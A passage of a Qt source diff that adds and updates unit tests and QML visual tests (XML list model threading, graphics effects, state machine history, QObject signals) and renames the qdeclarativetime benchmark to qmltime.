QDeclarativeXmlListModel *m3 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m3 != 0); + + for (int dataCount=0; dataCount<xmlDataCount; dataCount++) { + + QString data1, data2, data3; + for (int i=0; i<dataCount; i++) { + data1 += "name=A" + QString::number(i) + ",age=1" + QString::number(i) + ",sport=Football;"; + data2 += "name=B" + QString::number(i) + ",age=2" + QString::number(i) + ",sport=Athletics;"; + data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;"; + } + + m1->setXml(makeItemXmlAndData(data1)); + m2->setXml(makeItemXmlAndData(data2)); + m3->setXml(makeItemXmlAndData(data3)); + + QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount); + + for (int i=0; i<dataCount; i++) { + QCOMPARE(m1->data(i, m1->roles()[0]).toString(), QString("A" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football")); + + QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics")); + + QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling")); + } + } + + delete m1; + delete m2; + delete m3; +} + +void tst_qdeclarativexmllistmodel::threading_data() +{ + QTest::addColumn<int>("xmlDataCount"); + + QTest::newRow("1") << 1; + QTest::newRow("2") << 2; + QTest::newRow("10") << 10; +} + void tst_qdeclarativexmllistmodel::propertyChanges() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); @@ -554,6 +615,8 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(model->query(), QString("/Pets")); QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";")); + QTRY_VERIFY(model->count() == 1); + QCOMPARE(sourceSpy.count(),1); QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); @@ -568,6 +631,9 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); QCOMPARE(namespaceDeclarationsSpy.count(),1); + + QTRY_VERIFY(model->count() == 1); + delete model; } QTEST_MAIN(tst_qdeclarativexmllistmodel) diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index f6049ae..927e103 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -14,7 +14,7 @@ Rectangle { back to 100, jumps to 200, and so on. */ x: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } } diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 24ca76b..4562aa7 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -11,7 +11,7 @@ Rectangle { x: 60-width/2 y: 200-height y: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml b/tests/auto/declarative/visual/animation/reanchor/reanchor.qml index e41a254..1d0495e 100644 --- a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml +++ b/tests/auto/declarative/visual/animation/reanchor/reanchor.qml @@ -36,18 +36,19 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - left: leftGuideline.left - right: container.right - top: container.top - bottom: bottomGuideline.bottom + anchors.left: leftGuideline.left + anchors.right: container.right + anchors.top: container.top + anchors.bottom: bottomGuideline.bottom } }, State { name: "reanchored2" AnchorChanges { target: myRect; - reset: "left, right" - top: topGuideline2.top - bottom: bottomGuideline2.bottom + anchors.left: undefined + anchors.right: undefined + anchors.top: topGuideline2.top + anchors.bottom: bottomGuideline2.bottom } }] diff --git a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml index ef4ed76..fc9ccc8 100644 --- a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml +++ b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml @@ -28,7 +28,7 @@ Rectangle { transitions: Transition { SequentialAnimation { NumberAnimation { properties: "x"; easing.type: "InOutQuad" } - ScriptAction { stateChangeScriptName: "setColor" } + ScriptAction { scriptName: "setColor" } NumberAnimation { properties: "y"; easing.type: "InOutQuad" } } } diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index e268ce7..c3006d5 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -19,13 +19,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 width: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } height: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index bd3270f..99a9973 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" x: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index 62503e4..e9c94c7 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -8,7 +8,7 @@ Rectangle { color: "#00ff00" y: 200; width: 60; height: 20 y: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { to: 20; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml index c163e05..ecd9470 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml @@ -5,7 +5,7 @@ Rectangle { height: 100 Text { - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 5000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 } elide: Text.ElideRight text: 'Here is some very long text that we should truncate when sizing window' } diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml index ca41eab..ab6e1533 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml @@ -11,7 +11,7 @@ Rectangle { anchors.centerIn: parent Text { id: myText - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 1000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 1000 } elide: "ElideRight" text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" } diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml index 176a5b8..5516fc9 100644 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 6a4e7fa..199f71f 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index 49eb91b..bcbcf5c 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -10,7 +10,7 @@ Rectangle { width: 400 url: "renderControl.html" x: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } NumberAnimation { from: 0; to: -100; duration: 200 } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index 8542768..bce6744 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -8,7 +8,7 @@ WebView { url: "resolution.html" zoomFactor: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: 1; to: 0.25; duration: 2000 } NumberAnimation { from: 0.25; to: 1; duration: 2000 } NumberAnimation { from: 1; to: 5; duration: 2000 } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index c2e9348..6d51c8a 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -8,7 +8,7 @@ WebView { settings.zoomTextOnly: true zoomFactor: SequentialAnimation { - repeat: true + loops: Animation.Infinite NumberAnimation { from: 2; to: 0.25; duration: 1000 } NumberAnimation { from: 0.25; to: 2; duration: 1000 } } diff --git a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp index 1007d61..49b840f 100644 --- a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp +++ b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp @@ -46,6 +46,7 @@ #include <QtGui/qgraphicsview.h> #include <QtGui/qgraphicsscene.h> #include <QtGui/qgraphicsitem.h> +#include <QtGui/qgraphicswidget.h> #include <QtGui/qstyleoption.h> #include "../../shared/util.h" @@ -73,6 +74,7 @@ private slots: void deviceCoordinateTranslateCaching(); void inheritOpacity(); void dropShadowClipping(); + void childrenVisibilityShouldInvalidateCache(); }; void tst_QGraphicsEffect::initTestCase() @@ -510,6 +512,7 @@ void tst_QGraphicsEffect::drawPixmapItem() QGraphicsView view(&scene); view.show(); QTest::qWaitForWindowShown(&view); + QTRY_VERIFY(effect->repaints >= 1); item->rotate(180); QTest::qWait(50); @@ -613,6 +616,47 @@ void tst_QGraphicsEffect::dropShadowClipping() QCOMPARE(img.pixel(x, y), img.pixel(x, y-1)); } +class MyGraphicsItem : public QGraphicsWidget +{ +public: + MyGraphicsItem(QGraphicsItem *parent = 0) : + QGraphicsWidget(parent), nbPaint(0) + {} + void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) + { + nbPaint++; + QGraphicsWidget::paint(painter, option, widget); + } + int nbPaint; +}; + +void tst_QGraphicsEffect::childrenVisibilityShouldInvalidateCache() +{ + QGraphicsScene scene; + MyGraphicsItem parent; + parent.resize(200, 200); + QGraphicsWidget child(&parent); + child.resize(200, 200); + child.setVisible(false); + scene.addItem(&parent); + QGraphicsView view(&scene); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QTRY_COMPARE(parent.nbPaint, 1); + //we set an effect on the parent + parent.setGraphicsEffect(new QGraphicsDropShadowEffect(&parent)); + //flush the events + QApplication::processEvents(); + //new effect applied->repaint + QCOMPARE(parent.nbPaint, 2); + child.setVisible(true); + //flush the events + QApplication::processEvents(); + //a new child appears we need to redraw the effect. + QCOMPARE(parent.nbPaint, 3); +} + QTEST_MAIN(tst_QGraphicsEffect) #include "tst_qgraphicseffect.moc" diff --git a/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp b/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp index c0ad8bf..f4fdacc 100644 --- a/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp +++ b/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp @@ -439,6 +439,7 @@ private slots: void QTBUG_7714_fullUpdateDiscardingOpacityUpdate2(); void QT_2653_fullUpdateDiscardingOpacityUpdate(); void QT_2649_focusScope(); + void sortItemsWhileAdding(); private: QList<QGraphicsItem *> paintedItems; @@ -7719,7 +7720,7 @@ void tst_QGraphicsItem::hitTestGraphicsEffectItem() QTest::qWait(50); // Make sure all visible items are repainted. - QCOMPARE(item1->repaints, 0); + QCOMPARE(item1->repaints, 1); QCOMPARE(item2->repaints, 1); QCOMPARE(item3->repaints, 1); @@ -9819,6 +9820,16 @@ void tst_QGraphicsItem::scenePosChange() QCOMPARE(child1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 4); QCOMPARE(grandChild1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 1); QCOMPARE(child2->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 0); + + root->setX(1); + QCOMPARE(child1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 5); + QCOMPARE(grandChild1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 1); + QCOMPARE(child2->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 0); + + root->setY(1); + QCOMPARE(child1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 6); + QCOMPARE(grandChild1->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 1); + QCOMPARE(child2->changes.count(QGraphicsItem::ItemScenePositionHasChanged), 0); } void tst_QGraphicsItem::QTBUG_5418_textItemSetDefaultColor() @@ -10073,5 +10084,38 @@ void tst_QGraphicsItem::QT_2649_focusScope() delete scene; } +class MyGraphicsItemWithItemChange : public QGraphicsWidget +{ +public: + MyGraphicsItemWithItemChange(QGraphicsItem *parent = 0) : QGraphicsWidget(parent) + {} + + QVariant itemChange(GraphicsItemChange change, const QVariant &value) + { + if (change == QGraphicsItem::ItemSceneHasChanged) { + foreach (QGraphicsView *view, scene()->views()) { + //We trigger a sort of unindexed items in the BSP + view->sceneRect(); + } + } + return QGraphicsWidget::itemChange(change, value); + } +}; + +void tst_QGraphicsItem::sortItemsWhileAdding() +{ + QGraphicsScene scene; + QGraphicsView view(&scene); + QGraphicsWidget grandGrandParent; + grandGrandParent.resize(200, 200); + scene.addItem(&grandGrandParent); + QGraphicsWidget grandParent; + grandParent.resize(200, 200); + QGraphicsWidget parent(&grandParent); + parent.resize(200, 200); + MyGraphicsItemWithItemChange item(&parent); + grandParent.setParentItem(&grandGrandParent); +} + QTEST_MAIN(tst_QGraphicsItem) #include "tst_qgraphicsitem.moc" diff --git a/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp b/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp index 587b7d5..4c0bc78 100644 --- a/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp +++ b/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp @@ -111,6 +111,8 @@ private slots: void fontPropagationSceneChange(); void geometry_data(); void geometry(); + void width(); + void height(); void getContentsMargins_data(); void getContentsMargins(); void initStyleOption_data(); @@ -776,6 +778,32 @@ void tst_QGraphicsWidget::geometry() QCOMPARE(widget.geometry(), QRectF(pos, size)); } +void tst_QGraphicsWidget::width() +{ + QGraphicsWidget w; + QCOMPARE(w.property("width").toReal(), qreal(0)); + QSignalSpy spy(&w, SIGNAL(widthChanged())); + w.setProperty("width", qreal(50)); + QCOMPARE(w.property("width").toReal(), qreal(50)); + QCOMPARE(spy.count(), 1); + //calling old school setGeometry should work too + w.setGeometry(0, 0, 200, 200); + QCOMPARE(spy.count(), 2); +} + +void tst_QGraphicsWidget::height() +{ + QGraphicsWidget w; + QCOMPARE(w.property("height").toReal(), qreal(0)); + QSignalSpy spy(&w, SIGNAL(heightChanged())); + w.setProperty("height", qreal(50)); + QCOMPARE(w.property("height").toReal(), qreal(50)); + QCOMPARE(spy.count(), 1); + //calling old school setGeometry should work too + w.setGeometry(0, 0, 200, 200); + QCOMPARE(spy.count(), 2); +} + void tst_QGraphicsWidget::getContentsMargins_data() { QTest::addColumn<qreal>("left"); diff --git a/tests/auto/qitemselectionmodel/tst_qitemselectionmodel.cpp b/tests/auto/qitemselectionmodel/tst_qitemselectionmodel.cpp index 6ef4305..3b2a716 100644 --- a/tests/auto/qitemselectionmodel/tst_qitemselectionmodel.cpp +++ b/tests/auto/qitemselectionmodel/tst_qitemselectionmodel.cpp @@ -93,6 +93,7 @@ private slots: void task232634_childrenDeselectionSignal(); void task260134_layoutChangedWithAllSelected(); void QTBUG5671_layoutChangedWithAllSelected(); + void QTBUG2804_layoutChangedTreeSelection(); private: QAbstractItemModel *model; @@ -2327,5 +2328,31 @@ void tst_QItemSelectionModel::QTBUG5671_layoutChangedWithAllSelected() QVERIFY(selection.isSelected(index)); } +void tst_QItemSelectionModel::QTBUG2804_layoutChangedTreeSelection() +{ + QStandardItemModel model; + QStandardItem top1("Child1"), top2("Child2"), top3("Child3"); + QStandardItem sub11("Alpha"), sub12("Beta"), sub13("Gamma"), sub14("Delta"), + sub21("Alpha"), sub22("Beta"), sub23("Gamma"), sub24("Delta"); + top1.appendColumn(QList<QStandardItem*>() << &sub11 << &sub12 << &sub13 << &sub14); + top2.appendColumn(QList<QStandardItem*>() << &sub21 << &sub22 << &sub23 << &sub24); + model.appendColumn(QList<QStandardItem*>() << &top1 << &top2 << &top3); + + QItemSelectionModel selModel(&model); + + selModel.select(sub11.index(), QItemSelectionModel::Select); + selModel.select(sub12.index(), QItemSelectionModel::Select); + selModel.select(sub21.index(), QItemSelectionModel::Select); + selModel.select(sub23.index(), QItemSelectionModel::Select); + + QModelIndexList list = selModel.selectedIndexes(); + QCOMPARE(list.count(), 4); + + model.sort(0); //this will provoke a relayout + + QCOMPARE(selModel.selectedIndexes().count(), 4); +} + + QTEST_MAIN(tst_QItemSelectionModel) #include "tst_qitemselectionmodel.moc" diff --git a/tests/auto/qobject/tst_qobject.cpp b/tests/auto/qobject/tst_qobject.cpp index 0161a68..8da3484 100644 --- a/tests/auto/qobject/tst_qobject.cpp +++ b/tests/auto/qobject/tst_qobject.cpp @@ -128,6 +128,7 @@ private slots: void isSignalConnected(); void qMetaObjectConnect(); void qMetaObjectDisconnectOne(); + void sameName(); protected: }; @@ -162,7 +163,7 @@ class SenderObject : public QObject Q_OBJECT public: - SenderObject() : recursionCount(0) {} + SenderObject() : aPublicSlotCalled(0), recursionCount(0) {} void emitSignal1AfterRecursion() { @@ -185,11 +186,12 @@ signals: QT_MOC_COMPAT void signal5(); public slots: - void aPublicSlot(){} + void aPublicSlot() { aPublicSlotCalled++; } public: Q_INVOKABLE void invoke1(){} Q_SCRIPTABLE void sinvoke1(){} + int aPublicSlotCalled; protected: Q_INVOKABLE QT_MOC_COMPAT void invoke2(){} Q_INVOKABLE QT_MOC_COMPAT void invoke2(int){} @@ -429,12 +431,14 @@ public: public slots: void on_Sender_signalNoParams() { ++called_slot1; } - void on_Sender_signalWithParams(int i = 0) { ++called_slot2; } - void on_Sender_signalWithParams(int i, QString string) { ++called_slot3; } + void on_Sender_signalWithParams(int i = 0) { ++called_slot2; Q_UNUSED(i); } + void on_Sender_signalWithParams(int i, QString string) { ++called_slot3; Q_UNUSED(i);Q_UNUSED(string); } void on_Sender_signalManyParams() { ++called_slot4; } - void on_Sender_signalManyParams(int i1, int i2, int i3, QString string, bool onoff) { ++called_slot5; } - void on_Sender_signalManyParams(int i1, int i2, int i3, QString string, bool onoff, bool dummy) { ++called_slot6; } - void on_Sender_signalManyParams2(int i1, int i2, int i3, QString string, bool onoff) { ++called_slot7; } + void on_Sender_signalManyParams(int i1, int i2, int i3, QString string, bool onoff) { ++called_slot5; Q_UNUSED(i1);Q_UNUSED(i2);Q_UNUSED(i3);Q_UNUSED(string);Q_UNUSED(onoff); } + void on_Sender_signalManyParams(int i1, int i2, int i3, QString string, bool onoff, bool dummy) + { ++called_slot6; Q_UNUSED(i1);Q_UNUSED(i2);Q_UNUSED(i3);Q_UNUSED(string);Q_UNUSED(onoff); Q_UNUSED(dummy);} + void on_Sender_signalManyParams2(int i1, int i2, int i3, QString string, bool onoff) + { ++called_slot7; Q_UNUSED(i1);Q_UNUSED(i2);Q_UNUSED(i3);Q_UNUSED(string);Q_UNUSED(onoff); } void slotLoopBack() { ++called_slot8; } protected slots: @@ -2090,21 +2094,21 @@ public slots: void constUintPointerSlot(const uint *) { } void constUlongPointerSlot(const ulong *) { } - void structSlot(Struct s) { } - void classSlot(Class c) { } - void enumSlot(Enum e) { } + void structSlot(Struct s) { Q_UNUSED(s); } + void classSlot(Class c) { Q_UNUSED(c); } + void enumSlot(Enum e) { Q_UNUSED(e); } - void structPointerSlot(Struct *s) { } - void classPointerSlot(Class *c) { } - void enumPointerSlot(Enum *e) { } + void structPointerSlot(Struct *s) { Q_UNUSED(s); } + void classPointerSlot(Class *c) { Q_UNUSED(c); } + void enumPointerSlot(Enum *e) { Q_UNUSED(e); } - void constStructPointerSlot(const Struct *s) { } - void constClassPointerSlot(const Class *c) { } - void constEnumPointerSlot(const Enum *e) { } + void constStructPointerSlot(const Struct *s) { Q_UNUSED(s); } + void constClassPointerSlot(const Class *c) { Q_UNUSED(c); } + void constEnumPointerSlot(const Enum *e) { Q_UNUSED(e); } - void constStructPointerConstPointerSlot(const Struct * const *s) { } - void constClassPointerConstPointerSlot(const Class * const *c) { } - void constEnumPointerConstPointerSlot(const Enum * const *e) { } + void constStructPointerConstPointerSlot(const Struct * const *s) { Q_UNUSED(s); } + void constClassPointerConstPointerSlot(const Class * const *c) { Q_UNUSED(c); } + void constEnumPointerConstPointerSlot(const Enum * const *e) { Q_UNUSED(e); } void uintSlot(uint) {}; void unsignedintSlot(unsigned int) {}; @@ -3550,5 +3554,41 @@ void tst_QObject::qMetaObjectDisconnectOne() delete r1; } +class ConfusingObject : public SenderObject +{ Q_OBJECT +public slots: + void signal1() { s++; } +signals: + void aPublicSlot(); +public: + int s; + ConfusingObject() : s(0) {} + friend class tst_QObject; +}; + +void tst_QObject::sameName() +{ + ConfusingObject c1, c2; + QVERIFY(connect(&c1, SIGNAL(signal1()), &c1, SLOT(signal1()))); + c1.emitSignal1(); + QCOMPARE(c1.s, 1); + + QVERIFY(connect(&c2, SIGNAL(signal1()), &c1, SIGNAL(signal1()))); + c2.emitSignal1(); + QCOMPARE(c1.s, 2); + + QVERIFY(connect(&c2, SIGNAL(aPublicSlot()), &c1, SLOT(signal1()))); + c2.aPublicSlot(); + QCOMPARE(c2.aPublicSlotCalled, 0); + QCOMPARE(c1.aPublicSlotCalled, 0); + QCOMPARE(c1.s, 3); + + QVERIFY(connect(&c2, SIGNAL(aPublicSlot()), &c1, SLOT(aPublicSlot()))); + c2.aPublicSlot(); + QCOMPARE(c2.aPublicSlotCalled, 0); + QCOMPARE(c1.aPublicSlotCalled, 1); + QCOMPARE(c1.s, 4); +} + QTEST_MAIN(tst_QObject) #include "tst_qobject.moc" diff --git a/tests/auto/qstatemachine/tst_qstatemachine.cpp b/tests/auto/qstatemachine/tst_qstatemachine.cpp index 90b5a22..2bf76e7 100644 --- a/tests/auto/qstatemachine/tst_qstatemachine.cpp +++ b/tests/auto/qstatemachine/tst_qstatemachine.cpp @@ -155,6 +155,7 @@ private slots: void clearError(); void historyStateHasNowhereToGo(); void historyStateAsInitialState(); + void historyStateAfterRestart(); void brokenStateIsNeverEntered(); void customErrorStateNotInGraph(); void transitionToStateNotInGraph(); @@ -906,6 +907,64 @@ void tst_QStateMachine::historyStateHasNowhereToGo() QCOMPARE(machine.errorString(), QString::fromLatin1("Missing default state in history state 'historyState'")); } +void tst_QStateMachine::historyStateAfterRestart() +{ + // QTBUG-8842 + QStateMachine machine; + + QState *s1 = new QState(&machine); + machine.setInitialState(s1); + QState *s2 = new QState(&machine); + QState *s21 = new QState(s2); + QState *s22 = new QState(s2); + QHistoryState *s2h = new QHistoryState(s2); + s2h->setDefaultState(s21); + s1->addTransition(new EventTransition(QEvent::User, s2h)); + s21->addTransition(new EventTransition(QEvent::User, s22)); + s2->addTransition(new EventTransition(QEvent::User, s1)); + + for (int x = 0; x < 2; ++x) { + QSignalSpy startedSpy(&machine, SIGNAL(started())); + machine.start(); + QTRY_COMPARE(startedSpy.count(), 1); + QCOMPARE(machine.configuration().count(), 1); + QVERIFY(machine.configuration().contains(s1)); + + // s1 -> s2h -> s21 (default state) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + // This used to fail on the 2nd run because the + // history had not been cleared. + QVERIFY(machine.configuration().contains(s21)); + + // s21 -> s22 + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + QVERIFY(machine.configuration().contains(s22)); + + // s2 -> s1 (s22 saved in s2h) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 1); + QVERIFY(machine.configuration().contains(s1)); + + // s1 -> s2h -> s22 (saved state) + machine.postEvent(new QEvent(QEvent::User)); + QCoreApplication::processEvents(); + QCOMPARE(machine.configuration().count(), 2); + QVERIFY(machine.configuration().contains(s2)); + QVERIFY(machine.configuration().contains(s22)); + + QSignalSpy stoppedSpy(&machine, SIGNAL(stopped())); + machine.stop(); + QTRY_COMPARE(stoppedSpy.count(), 1); + } +} + void tst_QStateMachine::brokenStateIsNeverEntered() { QStateMachine machine; diff --git a/tests/benchmarks/declarative/declarative.pro b/tests/benchmarks/declarative/declarative.pro index 38ea6c4..a7d426c 100644 --- a/tests/benchmarks/declarative/declarative.pro +++ b/tests/benchmarks/declarative/declarative.pro @@ -8,4 +8,4 @@ SUBDIRS += \ qdeclarativeimage \ qdeclarativemetaproperty \ script \ - qdeclarativetime + qmltime diff --git a/tests/benchmarks/declarative/qdeclarativetime/example.qml b/tests/benchmarks/declarative/qmltime/example.qml index dd6185d..68889f0 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/example.qml +++ b/tests/benchmarks/declarative/qmltime/example.qml @@ -1,11 +1,11 @@ import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime +import QmlTime 1.0 as QmlTime Item { property string name: "Bob Smith" - QDeclarativeTime.Timer { + QmlTime.Timer { component: Item { Text { text: name } } diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp b/tests/benchmarks/declarative/qmltime/qmltime.cpp index 20f0d93d..3932e01 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp +++ b/tests/benchmarks/declarative/qmltime/qmltime.cpp @@ -156,7 +156,7 @@ int main(int argc, char ** argv) { QApplication app(argc, argv); - qmlRegisterType<Timer>("QDeclarativeTime", 1, 0, "Timer"); + qmlRegisterType<Timer>("QmlTime", 1, 0, "Timer"); uint iterations = 1024; QString filename; @@ -228,4 +228,4 @@ int main(int argc, char ** argv) return 0; } -#include "qdeclarativetime.moc" +#include "qmltime.moc" diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro b/tests/benchmarks/declarative/qmltime/qmltime.pro index 7902ee1..9352f3b 100644 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro +++ 